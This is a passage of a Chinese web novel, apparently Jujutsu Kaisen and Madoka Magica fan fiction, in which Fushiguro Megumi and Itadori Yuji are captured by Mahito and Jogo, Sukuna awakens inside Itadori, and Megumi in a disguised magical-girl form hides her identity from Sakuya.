就算没得到回应，他也无法抽出空来去拦丘比，只能看着那只白色生物的身影逐渐远去…… 真是要命了。 现在只有一个办法了。 伏黑惠看着这几个咒灵，不由得握紧了拳头，其咒力火焰也随之热烈地燃烧了起来。 要在朔夜到来之前，就把这几个咒灵全部解决掉才行啊。 第76章 可能是足够地坚定了信念的缘故，也可能是这段时间的训练提高了他的战斗能力…… 总之，努力适应了一段时间之后，伏黑惠的战斗便逐渐变得得心应手起来，能够同时顺利压制这几个咒灵。 不过，眼看着就要结束战斗的时候，意外发生了。 ——又有几只咒灵不知从哪里冒了出来。 伏黑惠忙着战斗，根本没注意多出来的咒灵是怎么回事，它们便已经张着血盆大口加入了战场。 糟糕…… 这到底是从哪里来的咒灵？！ 伏黑惠意识到面前的情况不对劲，这不是一场意外，大概率是有某个家伙在背后故意投放出了这些咒灵。 但是猜到这种事情也没办法。 他额上冒出虚汗，体力越来越不支。 就算有着众多式神，但伏黑惠也实在难以同时应对这么多咒灵，更何况附近还有几个重伤倒地的普通学生需要保护。 这时候，一只身形较矮的咒灵从他身后袭来，速度快得有些惊人。 伏黑惠注意力还放在眼前棘手的两只咒灵上，等注意到身后的袭击时，已经几乎要来不及了…… 那咒灵长长的锋利的指甲差点就要深深刺入他的脊背。 不过，“砰——” 关键时刻，一根结实的棒球棍及时狠狠打下，使得那些过长的指甲纷纷断裂开来。 伏黑惠下意识侧头看去，见到了一张熟悉的面孔。 ——正是不久前才见过的虎杖悠仁。 他当时看见对方之后，还特意选择了远离，想着以后估计也没机会再见到对方了，没想到却这么快就又见到了。 此时这个粉发少年紧紧握着棒球棍，呼吸起伏比较明显，显然非常紧张。 也是，这应该是他第一次正面迎上咒灵。 伏黑惠犹豫道：“你……” 虎杖悠仁努力深呼吸，仿佛压抑恐惧的情绪，对他主动道：“别担心，我会帮助你对付这些的。” 伏黑惠却不能怎么放下心来。 对方只是个普通人，怎么可能对付得了咒灵呢。 不过，对方能过来帮忙也是有用的……伏黑惠立刻想到了一个念头，快速说道：“那就拜托你把这里的其他人都带走吧。” 如果这里的其他人都安全离开了，他也就可以选择不继续坚持战斗，而是先逃离这里，之后再去从长计议了。 “那……你坚持一下。” 虎杖悠仁点头应下，先去搬那些重伤的学生了。 伏黑惠继续专心应对这些咒灵，决心一定要给虎杖留下充足的时间。 虎杖一个人要想把这几个重伤的人都运走，恐怕不是一件简单的事情，估计得花费不少时间才行。 伏黑惠这样想着。 然后对付咒灵的过程中，他余光瞥见那个粉发少年一次性扛起了两个人，竟然还能以飞快的速度往远处跑去。 ……？？！ 他眼花看错了吗？ 这是哪个品种的普通人，怎么能够体质要远超大部分的咒术师和咒灵？？ 在虎杖悠仁快速的来回搬运之后，眼前的操场上很快就没有了其他普通人。 随后，虎杖悠仁也来帮伏黑惠的忙，加入了战斗之中。 因为刚才见证了其非人的超强体质，伏黑惠便也没再拒绝，看着他过来帮忙，以普通人的身份和咒灵打得有来有回…… 真恐怖啊。 如果虎杖有咒力的话，应该会成为很厉害的咒术师吧。 不过，虎杖与咒灵对战的经验还是太少了。 伏黑惠发现，虎杖的行动总是有些畏手畏脚的，无法在关键的时刻下狠手，受伤的就只会是自己。 但是对于普通人也没必要那么苛求。 趁着虎杖帮忙，伏黑惠抓住机会压制住了这些咒灵。他扼住了一只咒灵致命处的脖颈，准备先祓除掉它…… “等、等等——” 虎杖悠仁焦急地开口叫住他：“你别杀他。” 伏黑惠却没有松手，反而皱起了眉头。 他手下的这个咒灵此刻看着确实很惨的样子，眼角仿佛含着泪水，拼命挣扎着，不断地重复道：“救、救、救我、救……” 这像是在向人求救一样。 但是咒灵是不可信的，它们对人类只有负面情感。 而且等级不高的咒灵都是根本没有头脑的，它们顶多只会说几个简单的字，也只有简单的执念而已。 伏黑惠想了想，还是先给虎杖简单解释了一句：“这是咒灵，是由诅咒形成的非人怪物。你不应该同情它。” “咒灵？” 虎杖悠仁生疏地念着这个词，声音里带着颤抖：“……他是咒灵？” 伏黑惠莫名觉得有点奇怪。 虎杖悠仁的态度似乎不太对劲。 但是他先前和虎杖不怎么熟，也不了解对方的性格，现在即使觉得奇怪，也说不上来是为什么。 伏黑惠有点犹豫，但还是道：“确实是的，而且你应该说的是‘它’，而不是‘他’。” 虎杖悠仁看起来更难以接受了。 “可是，这是……高崎同学啊。” 伏黑惠愣了一下，发现有点听不懂对方说的话，不确定地问了句：“你说什么？” 虎杖悠仁的声音里包含着痛苦和无力：“高崎同学先前还好好的，突然就很痛苦地开始吼叫，然后……就在我面前变成了这个怪物。” “？？？” 伏黑惠从来没听过这种事情，活人怎么可能突然变成咒灵。 他扼住那只咒灵脖颈的手都控制不住地松开了，愣愣地看着这只模样丑陋的咒灵。 它完全看不出人类的样子，明明有着这样锋利的尖牙，这样的血盆大口，浑身上下黑漆漆的…… 怎么可能会是由人类变成的呢？ 忽然间，伏黑惠注意到了这只咒灵手腕上套着的手环——上面有魔法少女应援会的字样。 他记起来了，刚才跟虎杖交谈的那几个学生里，有一个最活跃的、也是最先提及魔法少女话题的少年。 伏黑惠有点印象，对方当时的手上正套着这个手环。 虎杖悠仁努力想找到点希望，不死心地问：“高崎他还能变回来吗？” 伏黑惠低声道：“……我不知道。” “说不定是可以的。就像电影里一样，丧尸病毒爆发，所以高崎意外感染成了怪物。” 虎杖悠仁胡乱猜测道：“等到我们找到疫苗，说不定就能救回他呢。” 这种希望实在是太渺茫了。 不过，伏黑惠也没有泼冷水，而是说道：“这些人他们身上有咒力痕迹，等我回去问问五条老师，说不定还能……” “没有可能了哦。” 有声音打断了他的话。 伏黑惠顺着声音看去，发现了一个长相如同二十岁左右的青年，但明显和寻常人不一样。 那家伙穿着奇怪的服装，有着一头蓝色的中长发，全身上下布满了缝合线。 他似乎……不是人类。 第77章 那个蓝发缝合线青年看向他们，表情让人觉得有些不怀好意，提高声音道：“喜欢我送给你们的礼物吗？” “礼物？” 伏黑惠神情一僵，意识到眼前的这个家伙非常危险。 正是对方将人类转化成了怪物，也是对方把这些怪物故意投放到这里来的。 这样做就是为了送给他们礼物？ 伏黑惠警惕地问：“你是咒灵吗？” “当然了，我可不是无能又讨厌的人类。”蓝发缝合线青年笑着道：“我叫真人。你还没回答我的问题呢？你们到底喜不喜欢这些礼物？” 伏黑惠抿着嘴，没有说话，压抑着厌恶愤怒的情绪。 真是糟糕…… 他之前从未见过可以顺利和人类交流的咒灵，这个真人既然能拥有这种程度的智慧，大概率只会是特级咒灵吧。 虽然没人回答真人的话，但真人还是自顾自地倾诉着：“真是的，我可是辛辛苦苦实验了好久，才做到刚刚把这么多人类都变成厉害的改造人呢。” 伏黑惠咬紧牙关问道：“你这么做到底有什么目的？” “我最近实验了许多普通人类，却还没有研究过咒术师呢。” 真人这么说着，慢慢走上前来。 伏黑惠非常谨慎地看着对方，却无力地知道自己根本没有反抗的办法，自己怎么可能战胜特级咒灵。 不过，如果对方的目标只是咒术师的话…… 伏黑惠低声对身旁的虎杖悠仁说：“虎杖，等会儿我尽可能拦住他，然后你就赶紧跑。” 虎杖悠仁表情有点纠结：“你刚才是在跟什么我看不见的敌人说话吗？” 伏黑惠愣了一下，意识到虎杖是普通人，能看见改造人却看不见咒灵。 他便立即详细说明了两句： “是的，那是我们绝对无法对付的存在。等会儿我会给你暗号，你注意到之后就赶紧往后跑，越远越好。” 此刻真人已经走到他们面前。 伏黑惠不再说话，而是上前一步，挡在虎杖悠仁面前。 真人：“哎呀，不会是想要在这里表现一下你们感人肺腑的情谊吧。别担心，你们一个都跑不了。” 伏黑惠：“……” 即使伏黑惠没有说话、也没有露出什么破绽，真人却在下一刻有所预感地侧身，躲开了身后空中来自鵺的攻击。 “就这点本事吗？一对多可不公平。” 真人说完，从口中吐出了几个造型各异的小型怪物，用手一扔，它们便抽条拔高变大了好几倍。 这些怪物疯狂地向着他们攻击而去。 伏黑惠被迫只能召唤出自己的全部式神，来艰难抵挡这些改造人。 而真人这时候却抓住了虎杖悠仁的肩膀，饶有兴趣地看着他，眼神里带着杀意，不知道在想什么事情。 虎杖悠仁敏锐地察觉到了这种杀意，心里发寒。 在如今随时可能死亡、生命掌握在别人一念之间的情况下，他激发出了自己的潜力，眼前这个咒灵的身形逐渐显现出来。 他能看见真人了。 但是这个时候，看到又能有什么用呢？ 伏黑惠担忧真人将虎杖变成改造人，急急出声道：“他不是咒术师，你放过他，我就随便你做实验。” 真人紧抓着虎杖悠仁的肩膀，对伏黑惠笑着说道：“现在人质在我这里，应该是我提要求吧？你……” 话音还没落下，虎杖悠仁就趁机发动了攻击，想要绊倒对方，先摆脱其控制。 真人注意到了这偷袭，却因为虎杖的速度太快，让他没反应过来，硬生生地吃了这一击。 “啧，力气真大，可惜根本没有咒力，所以还是太弱了。” 真人使用术式改变了自己灵魂形态，以此治好了自己受伤的腿部，同时他将手放到了虎杖悠仁脖颈处。 真人做了术式公开：“我的术式【无为转变】可以改变他人或自身的灵魂形态，这也就是我制作那些改造人的办法。” 伏黑惠提起心来，意识到真人恐怕要将虎杖悠仁改造了。 于是他竭力从与改造人的战斗中抽出空来，前去阻止对方。 虎杖悠仁却着急地对伏黑惠道：“小心——” 此时，在真人的示意下，伏黑惠身后的那些改造人也都放弃了与其式神缠斗，即使受伤也全部涌向伏黑惠。 措不及防间，他受伤摔倒，用手撑在地面上。 真人却趁机伸出了一只手，触碰到伏黑惠的那一刻，开口道：“无为转变。” 几秒过后…… “诶？？？”真人表现得十分惊愕，就像是觉察到了什么绝不可能发生的事情：“你的灵魂呢？！” 伏黑惠不太明白真人在说什么。 不过，看到对方似乎是出手准备改造自己却失败了，他也暂且放松了点刚才已经提到嗓子眼的心。 第78章 真人嘴里念念有词：“不可能啊，怎么可能会这样……” 人类的身躯里怎么可能没有灵魂？ 就算是咒灵也是拥有灵魂的。 除非……对方是傀儡、是物品、是没有生命的死物这一类的东西。 真人不可置信地看着伏黑惠，下意识问道：“你真的是人类吗？” 伏黑惠皱着眉，不理解对方问这个是什么意思。 自己难道有哪里看起来不像是人类吗？ 还是说，这句话里包含着什么特殊意义？也可能只是单纯地在夸他或是在骂他？ 真人怎么看也不觉得对方不是人类，明明这个咒术师看起来能思考、能说话、可以使用术式……怎么可能会是死物呢？ 等等，不会是自己的能力出现问题了吧？ 真人陷入了自我怀疑中。 虽然他之前从来没有犯过这样的失误，但是比起其他更加不可思议的可能性，真人也只能被迫怀疑是自己出错了。 既然现在感知不到伏黑惠的灵魂，那么真人便立刻想要换个人试试。 真人忍不住触碰到虎杖悠仁，说道：“无为……” “喂，你在干什么——” 有声音迅速从远至近，打断了真人的行动。 在场的人下意识被这声音所吸引，目光纷纷转移过去。 发现是一个有着火山头的独眼咒灵不知怎的突然从天而降，来到了他们附近。 虽然这咒灵看起来身材较矮小，但明显实力不俗。由于这咒灵赶来的形式特殊，其脚下踩着的地面都裂开了很大一片。 伏黑惠有点错愕。 这又是一个特级咒灵吗？今天这到底是怎么了？难道它们……是为了两面宿傩的手指而来的吗？ 那个火山头咒灵看起来脾气有点暴躁，不过显然顾虑着什么，说话有些含糊：“你不要忘记了，别随便做不必要的事情。” 真人闻言，也只好收回了触碰虎杖悠仁的手：“我只是想试一下而已，漏瑚。” “这怎么能随便尝试？！” 漏瑚看了一眼虎杖悠仁，顿了顿，又道：“我是说，怎么能够在这里做你的实验。你有喜欢的实验体直接带回去再做，这个地方又不安全。” 真人垂头丧气地道：“好吧。” 看着这两个咒灵三言两语就决定了他和虎杖的命运，伏黑惠又一次感觉到无能为力，想不到任何能够逃脱的方法。 一个特级咒灵就已经足够危险，两个特级便证明着他们的任何挣扎都是徒劳…… 伏黑惠知道只能任人摆布了。 他收回了自己的式神，不再尝试无用功，只是问了一句：“……两面宿傩的手指是你们拿走的吗？” 真人道：“你问的是哪一根？” 漏瑚用力拍了拍真人的肩膀。 真人笑着改了口，对伏黑惠道：“你猜。” 伏黑惠：“……？” …… 直到被这两个特级咒灵强行带走，被困在了下水道里的一处隐蔽地方……伏黑惠也没有想明白这两个咒灵的异常是怎么回事。 它们看起来就很奇怪，说的话和做的事都非常令人难懂。 “我们会被改造得和高崎他们一样吗？” 虎杖悠仁看着附近的众多改造人，心情复杂地问伏黑惠。 这里的改造人各种各样，将他们周围都挤得满满当当，阻碍了他们两人逃离的道路。 所以即使真人和漏瑚刚才暂时离开了这里，他们两个也无法趁机逃走。 “我不确定……” 伏黑惠现在也不知道该把希望寄托在谁身上。 他当时在被带走的时候，丘比和朔夜还没有过来，五条老师一时半会儿应该也不知道他出了事。 虎杖悠仁：“对了，你叫什么名字？” “伏黑惠。” 虎杖悠仁犹豫地道：“伏黑，你为什么知道我的名字？” 伏黑惠愣了一下。 “我没有说过自己的名字，但是你之前叫过我虎杖，你还记得吧？” “我……”伏黑惠立刻在心里开始想着借口。 这种事情对他来说，也还真是越来越熟练了。他只是停顿了一两秒，就继续说道：“先前我在路上听到你的同学喊你了。” “原来是这样。” 虎杖悠仁点点头，没有怎么怀疑。 伏黑惠却对于这么容易信任别人的虎杖，感觉有点莫名愧疚。 于是，他半是转移话题，半是好心地道：“既然我们都被困在这里，我就跟你简单解释一些关于咒术界的事情吧。” 虎杖悠仁连忙应下：“好的。” “我是咒术师，就是专门负责祓除咒灵的人……” 伏黑惠大致讲解了一下咒术师、咒灵、咒物的基础知识，说明了这些的等级划分，还有他这次的任务是来回收特级咒物两面宿傩的手指…… 而此刻，真人和漏瑚正在下水道外面不远处交谈。 “真人，你忘了我们之前计划好的事情吗？” 漏瑚不理解地问道：“不是说直接把虎杖悠仁带过来，或者最多再带几个普通人来吗？你怎么没把那个咒术师直接杀掉？” 真人：“那个咒术师很特殊，我的能力只在他身上失了效，我得好好研究研究他才行。” 漏瑚叹了口气：“记得别耽误了正事。” “你就那么相信那个叫虎杖香织的女人吗？” 真人单手托着下巴，好奇道：“不是说，人类都很注重血缘关系吗？她真的会愿意牺牲掉自己的儿子吗？” 漏瑚理直气壮道：“我当然不会随便相信她，所以这次不是才主动揽过了这次行动嘛。现在虎杖悠仁就在我们手里，而她也默认了我的计划，差不多算是拿出了自己的诚意。” 第79章 真人不置可否，他是从人对人的憎恨和恐惧中诞生的。所以他对人类向来没有什么好感，只有恶意。 他自然也不想与虎杖香织合作。 但是他的咒灵同伴们想要合作，希望能够复活两面宿傩，颠覆咒灵与人类的关系。 真人也就无所谓地顺着这样去做了。 “既然虎杖香织拿出了诚意，我也就先退一步，暂且选择相信她的话。” 漏瑚说道：“接下来就按照她之前的请求去做吧。” “你是说……”真人回忆了一下，道：“将这一切伪装成一场意外，不暴露虎杖悠仁对我们的特殊性？” “没错，她再三强调，一定得是虎杖悠仁意外吞下了两面宿傩的手指，绝对不能是我们故意喂给他的。” 漏瑚看起来很是头疼的样子。 真人也理解对方。 两面宿傩的手指说大不大，说小也不小……但普通人到底得是有多么好的胃口，才能意外吞下那么卡嗓子的异物？ 这还真是个难题。 “要不就直接喂给他得了。”真人提议道：“反正我们把他们抓过来时的借口就是，要用他们来做我的实验。” “实验？这个理由倒也还可以。” 漏瑚喃喃道：“不过，为了隐藏虎杖悠仁的特殊性，我们是不是应该也给那个咒术师小子也喂一根手指？” “不行！”真人反应很大。 漏瑚有点奇怪，之前从来没有见过真人对一个人类这么重视。 “他到底有多么特殊，你说你的能力只对他失效，那么直接把他杀了不就行了？” “我也说不清楚……” 真人不能确定，到底是自己无法看见伏黑惠的灵魂，还是伏黑惠真的没有灵魂： “但是要是错过了他，我估计再也找不到这么特殊的一个人了，所以绝对不能轻易杀掉他。” 漏瑚恼道：“那该怎么办？” 真人想了想。 他不愧是人对人的憎恨和恐惧中诞生的特级咒灵，即使刚诞生不久，也是天生比其他咒灵同伴要阴险狡诈许多。 “等会儿把手指喂给虎杖悠仁。就说为了保险起见，先拿个普通人做实验，看看效果怎么样，之后再用更重要的咒术师来实验。” 真人边思考边说：“等到两面宿傩在虎杖悠仁的身体里苏醒后，我们只要在两面宿傩面前拿着另一根手指，他应该就会主动抢走手指吃下。” “也是。” 漏瑚点点头。 将两根手指都交给虎杖悠仁吞掉无疑是更好的结果。 漏瑚说道：“那就这么做吧。” …… 前面的计划都还算顺利。 两个特级咒灵拿着两根两面宿傩的手指，一唱一和地进行表演，仿佛它们真的都疯狂地热衷于人体实验。 虎杖悠仁被它们强行控制着，吃下了一根手指。 伏黑惠几乎要以为虎杖悠仁必死无疑，那种特级咒物可是剧毒的，普通人吃掉便绝对没有活下来的希望。 结果，万中无一的意外发生了。 虎杖悠仁突然爆发出强大的咒力来，他身体上多出了许多特殊的黑色纹路，而脸上则又长出了两只眼睛。 他身上的气质也骤然大变，撕掉自己穿着的上衣，便开始肆意地大笑：“哈哈哈哈哈哈哈哈哈……” 四只眼睛……这是两面宿傩的标准特征。 伏黑惠心情沉入谷底，这是最糟糕不过的事情了，特级咒物在虎杖悠仁身上寄生了！ 另两个特级咒灵对这样的状况看起来也很惊讶，它们带着诧异与好奇的表情上前去，似乎忍不住想要跟两面宿傩搭话。 而两面宿傩却停止了大笑，不屑地看了看周围的改造人。 这些改造人此刻正在威压下不停地颤抖着，看起来无助又可怜，仿佛给它们一个机会，就会立即往远处逃走。 但是下水道这处地方实在是太小了，而改造人的数量却足够多，它们挤在一起，连尽可能地远离两面宿傩都做不到。 两面宿傩看起来很厌恶接触这些蝼蚁。 “啧，真恶心啊，就像是蛆虫一般。” 他这么说着，随后使用了自己的术式。 “轰隆——” 随着术式的使用，周围的一切几乎都被摧毁了，众多改造人几乎都来不及发出声音就死掉了。 而下水道这种地方也开始崩塌，建筑石块从上方不断掉下来，四周的灰尘漫天飞扬，让人看不清眼前发生的一切。 这种时候，先离开这里躲掉危险，明显是个最好的选择。 但在漏瑚准备离开的时候，发现身边的真人却没有任何想走的动作，甚至还想快步往崩塌的中央而去。 “你干什么！？这种时候就先别过去了，他只会把我们都当作敌人攻击的！” 漏瑚抓住了真人的肩，阻止他去那种危险的地方。 虽然特级咒灵被这些建筑物埋住也不会死，顶多会受伤而已。 但是在这种紧张的时刻，过去绝对没有好处，无法和两面宿傩好好交谈，还很容易被对方当成敌人，不利于之后与两面宿傩达成合作。 但真人却是一副听不进去任何话的表现。 他非常着急地想往里面冲，却不是为了自己辛辛苦苦制作了许久的那些改造人，而是为了一个刚刚见面的咒术师。 “那家伙之前还受着重伤呢，他很可能会死的！他不能死，绝对不能死啊，我好不容易才遇到他——” 这样的场景显然非常滑稽。 一个爱好是杀人的特级咒灵，在真情实感地担心一个负责祓除咒灵的咒术师的生死。 要是有别人看见这离奇的一幕，绝对会彻底怀疑人生。 漏瑚也不能理解真人。 出于理性考虑，漏瑚紧紧地抓着真人不放，任由他拼命大喊想进去救人，也尽可能地拖着他往远处走去，带着他远离危险。 没过多久，下水道这附近便彻底变成了废墟。 石块、钢筋、还有众多改造人的尸体堆积在了一起，而两面宿傩则站在这些堆积物的最顶端。 他张开双臂，沐浴在外面的月光之下，心情逐渐变得非常美好。 “啊，我终于回来了。这个时代真不错啊，到处都是女人和小孩，终于能够尽情地享受虐杀的感觉了！……” 两面宿傩自言自语地说着。 这时候，他察觉到了身后传来了一些动静，像是有人将石块移开的声音。 两面宿傩回过头去，看见了一个黑发绿瞳的少女。 对方似乎是刚才就在这附近，所以被这里的崩塌波及了，身上显然带着伤，血液将衣裙都染红了一片。 两面宿傩笑了起来。 自己还真是幸运啊，想什么就来什么。 他径直走向那个受伤的少女…… 第80章 伏黑惠觉得自己真是倒霉透了。 今天这一整天，倒霉的事情是一件接着一件地发生。 先是自己回收特级咒物的任务搞砸了，前途仿佛一片黑暗。又遇到了将人类改造成怪物这样丧心病狂的事情。 紧接着，特级咒灵一个一个出现，自己面临变成改造人的险境。结果突然间虎杖却被喂下了手指，两面宿傩从其身体里复生…… 再然后自己差点被两面宿傩害死。 下水道坍塌的时候，他身上还有先前与改造人战斗后留下的伤，离出口的位置也比较远，根本来不及逃脱。 危急时刻，伏黑惠只能选择变身。 在之前的训练里，他摸索了解到，禅院穗拥有治愈的能力。 虽然她的体质只是普通少女的水平，就跟津岛差不多，比不上艾尔菲，更不用提松代和朔夜。 不过她的恢复力却是顶尖的，就算不主动为自己治疗，身体受过的伤害也会快速恢复。 正是因为这样，伏黑惠才得以在刚才的坍塌下艰难地活了下来。 坍塌的动静停下来后，她将压在自己上方的石块挪开，好不容易得以重见天日，她却抬眼就看到了两面宿傩。 伏黑惠有种心跳骤停的感觉。 她打宿傩？真的假的？？？ 但即使再怎么不想面对，那个传说中的诅咒之王还是一步步地向自己走过来，脸上带着凶残的笑意。 伏黑惠没有办法，只能打起十二分的精神，准备着做最后的殊死搏斗。 两面宿傩张开口，饶有兴趣地道：“你看起来似乎……” 话语戛然而止。 他身形立刻往后退了半步。 一支箭矢从远处急速袭来，射在了两面宿傩的脚边。 两面宿傩顿时警惕起来，意识到来的人不简单。 对方明显没有第一时间下狠手，这箭矢原先瞄准的只是他的腿部，否则他就算第一时间躲开，也至少会被贯穿身体。 两面宿傩侧头看去，却非常意外地看见了一个白发少女，年龄看起来顶多上国中而已。 “什么啊，这个时代的咒术师都是这样的小鬼吗？” 两面宿傩皱着眉，不愿意见到刚才差点伤了自己的是这种少女，甚至对方还能算是给自己放了点水。 朔夜没有搭理他，反而对旁边的那个黑发少女道：“禅院，你忙完了吗？该走了。” 伏黑惠心情复杂。 她想起了之前朔夜喊她训练的事情，没想到这个时候了，朔夜却还在挂念这种事。 这场面怎么看也不像是一切都结束了的样子吧？ 诅咒之王还在这里站着，周围还是一片废墟，另外两个特级咒灵不知道有没有跑远…… 不过，这些是咒术师应该担心的事情，确实和魔法少女可能没什么关系。 要是不想暴露身份的话，禅院穗的确应该装作只是一个被波及的路人，可是自己怎么能够就这样离开…… 在伏黑惠不知如何决断的时候，两面宿傩先动了。 他脸上带着被忽视的不满，迅速朝着白发少女所在的位置袭去。 而朔夜却身形一闪，就像画面掉帧了一般，很快便从原先的地方到达了另一个方位。 两面宿傩则扑了个空，只攻击到了地板，使这边地面从中间开裂变成了一个巨大的坑。 “哈？”两面宿傩有点不耐烦，回头看向那个少女，出声道：“滑得跟个泥鳅似的，不会只擅长远程的攻击吧？” “没必要那么麻烦，这就足够了。” 朔夜说着，举弓、拉弦一气呵成。 箭矢带着巨大的能量便立即直直射向两面宿傩的方向。 两面宿傩瞳孔微缩。 明明他是看着那箭矢射出的，理应很容易躲开才是，但实际上却根本来不及。 他只能站在原地，发动了自己的术式，准备正面挡下。 但是，术式「解」只拦住了箭矢的一些攻势，他身上爆发出的咒力也仅能发挥一点作用……箭矢穿过了他的手掌，嵌入他的胸膛当中。 两面宿傩吐出一口血来。 他慢慢把箭矢从身体里拔出来，将其捏碎，再用反转术式修复自己如今的身体。 “还真是小看了你……要是我能够恢复千年前的实力，不只是拥有这区区一根手指的力量……” 就在两面宿傩还在说话的时候，朔夜却完全不搭理他，反而走向了禅院穗，又一次旁若无人地对她道： “该走了吧？” 两面宿傩气愤地攥紧拳头，准备再次发动术式。 而此刻，他的一只手却像是忽然有了自我意识般，紧紧地攥住了另一只手的手腕，阻止自己发动术式…… 同时就像换了一个人般，他的表情变了，愤怒地道：“你在干什么啊，把我的身体还给我——” 随后，他却又惊愕地问：“你怎么还能动？” “当然啊，这是我的身体，我是绝对不会看着你伤害别人的！” 就像表演双簧一样，这个人自言自语着，脸上的表情一会儿变一个。 伏黑惠错愕地在旁边看着这一幕。 这种情况是怎么回事……虎杖居然还活着吗？他和两面宿傩目前处于同一个身体里面？？ 过了一会儿，虎杖悠仁的意识仿佛占据了主导地位，彻底压制住了两面宿傩。 他身上的黑色纹路淡去，多出来的两只眼睛也逐渐化作两条淡痕，整个人慢慢变回最初正常的样子。 伏黑惠难以置信地试探道：“虎杖？” 虎杖悠仁看向她，愣了一下，问道：“禅院，你怎么在这里？” 没等伏黑惠给他编出个理由来，虎杖悠仁就将四周都打量了一下，看到了附近的这一片废墟，还有不远处站着的朔夜。 “我记得那两个咒灵说是要做什么实验，然后我被迫吞下了特级咒物，后面的意识就模糊不清了……” 虎杖悠仁喃喃着，突然想到了一件重要的事情，声音骤然提高。 “对了，伏黑呢？！我记得他当时就在我身边。” 虎杖悠仁不由得担心起来。 周围的场景就像是经历了一场恶战，显然刚才遇到了非常危险的情况，但是伏黑惠此刻却完全不见人影。 这肯定会令人非常担忧他是不是遭遇了什么意外。 虎杖悠仁着急地不知道该怎么办，下意识地看向身旁的禅院穗。 “禅院，你刚才有没有看到一个跟我差不多大的男生，黑发绿眼，穿着一身黑的特殊制服……” 黑发绿眼的少女有点心虚地躲过他的视线。 虎杖悠仁很担心，完全没心思注意眼前少女的异常，还在继续道：“他叫伏黑惠，刚才是和我一起被特级咒灵抓过来的，应该就在这附近才对啊……”【你现在阅读的是 】 80-90 第81章 伏黑惠觉得自己的倒霉还在延续。 此刻黑发少女表面上艰难维持着镇定，但其实心里很是紧张。 她只希望虎杖悠仁别再担心伏黑惠这个人了，不要再继续说下去了……朔夜目前可就站在不远处呢。 但是身为禅院穗，她又该怎么跟虎杖悠仁解释？ 伏黑惠只恨分身乏术，不能够让自己的两个身份同时出现在一个地方，以此摆脱身份危机。 虎杖悠仁没得到回应，有些焦急。 他回想起之前最后看见伏黑惠，是和自己一起在下水道的时候…… 虎杖悠仁再次看了看附近的这一片废墟，觉得这有点眼熟，好像就是刚才的场景坍塌后的样子。 他心里浮现出了一个不好的猜想——伏黑他不会是被压在废墟下了吧？！ 要真是这样，那现在恐怕就糟糕了。 虎杖悠仁来不及多想，就准备快步过去，把石块钢筋挪开找找下面有没有人。 伏黑惠忙问道：“你要干什么？” 一问出口，她就知道自己在说废话了。不用猜也知道，虎杖肯定是在找伏黑惠啊。 但是对方怎么可能找得到，就算把这里全翻上一遍，也不可能会有什么结果的。 而且，这种情况要是再持续下去…… 虎杖悠仁可能只会多出一个疑惑，但朔夜却很可能会根据线索，从而怀疑莫名不见的伏黑惠会不会就是禅院穗。 关键时刻，伏黑惠只能叫住虎杖悠仁，说道：“其实，你要找的那个人，他不久前已经离开了……” 虎杖悠仁惊讶道：“诶？离开了？” 伏黑惠勉力点头，费尽心思地解释道：“是的，刚才这里太危险了。他……受了点伤，所以就只好先离开了。” 虎杖悠仁提取关键词：“他受伤了？怎么样，严重吗？” “不严重，只是小伤而已。” “但是，禅院你也受伤了……” 虎杖悠仁早就注意到了禅院穗身上的血迹，道：“如果伏黑他只是小伤的话，应该就不会在这种时候离开。” 伏黑惠有点卡壳，只能含糊地道：“你放心，他真的已经没事了……你现在应该担心你自己的事情。” 虎杖悠仁愣了愣，不解地问：“我、我到底是怎么了？不知道为什么感觉身体里多了一个灵魂。” “从刚才情况来判断，我觉得那应该是千年前的诅咒之王，他目前寄生在了你的身体里。” 顾虑着旁边的朔夜，所以伏黑惠说得比较模糊一些，沉声道：“根据咒术界的法则，你会被判处死刑。” 和虎杖悠仁相处了这些时间，伏黑惠明白对方是个很好的人，他也不愿意看到这样的人死去。 可是，涉及到诅咒之王，咒术界肯定会非常慎重地对待这件事，杜绝两面宿傩复活的一切可能性。 “五条悟。”朔夜忽然说出这个名字，顿了顿，继续道：“他可以应付这种事情，如果他愿意帮忙的话。” 伏黑惠措不及防听到五条老师的名字，下意识紧张地看向朔夜。 不过，朔夜没什么表情变化，只是很平常地在说话。 伏黑惠才暂且放下心来。 朔夜应该是没有多想什么吧…… 从刚才开始，她就一直显得对其他事情漠不关心，还总是无视两面宿傩，所以应该也不会多关注禅院穗的异常吧？ 伏黑惠只能这样安慰自己。 虎杖悠仁茫然道：“五条悟是谁？” “是最强的咒术师，有时候还是挺可靠的……” 伏黑惠：“你等会儿先回去，后面伏黑惠会去找他的，到时候就得看运气了。他不一定会答应帮这种事的忙。” 虎杖悠仁怔怔地点了点头。 伏黑惠：“对了，你是可以轻松压制住两面宿傩的吗？” “嗯，我不会把他放出来的。” 虎杖悠仁应下，犹豫了一下问道：“禅院，你和伏黑的关系很好吧？” 伏黑惠不由得先看了一眼朔夜，然后才有点僵硬地回答：“还行，我和他是朋友。” 随后，这些事情便暂时被迫告一段落。 毕竟她现在是禅院穗，没办法再继续多管伏黑惠的事情了，更何况朔夜在旁边已经等了好长一段时间了。 伏黑惠跟着朔夜离开。 两个人平时的话一个比一个少，再加上关系也不怎么样，如今走在一起就只剩下了一片沉默。 刚才发生的事情太多了，伏黑惠现在有些心不在焉，慢一拍地跟在朔夜身后。 看着朔夜的背影，她突然感觉有点奇怪，发觉朔夜身上似乎有特级咒物的气息…… 不过，又很快意识到朔夜刚才与两面宿傩战斗过，身上有这种气息是再合理不过的，便没再继续想下去。 没走多久，一只白色生物朝她们这边过来。 ‘朔夜，穗，你们这是要去训练吗？’ “嗯，没错。”伏黑惠应下，她倒是对丘比的感观越来越好，看到丘比还会有点放心的感觉。 毕竟丘比这次又帮她把朔夜叫了过来救急，还没有暴露她的真实身份。 不过，说起来也应该感谢朔夜…… 但是之前的那些事情，让她总是不知道究竟该怎么面对朔夜，也分不清朔夜到底是怎样的人。 ‘你还受着伤吧，现在应该还是先休息更重要吧？’丘比道。 伏黑惠：“其实已经快好了，只是血迹没办法消除，所以看着有点糟糕而已。” ‘可是，修复伤势也是很消耗能量的，你的灵魂宝石也又黑了一点。’ 丘比说着，又看向朔夜道：“刚好我有事要找朔夜，今天天色也不早了，就先别训练了吧？” 朔夜说：“可以。” 朔夜对丘比言听计从的次数已经够多了，伏黑惠却还是每次看到这种情况，都觉得心里实在有点别扭。 不过，这对自己还算是挺有利的。 伏黑惠之前被带到下水道时，手机被特级咒灵拿走扔在路上了。所以她现在还是很急着想要和五条老师取得联系的。 因为朔夜刚刚救了自己，所以她便也不好说自己还有事要忙。 现在有了丘比的帮忙，伏黑惠就能够放心地离开了：“那你们聊，我就先走了，再见。” 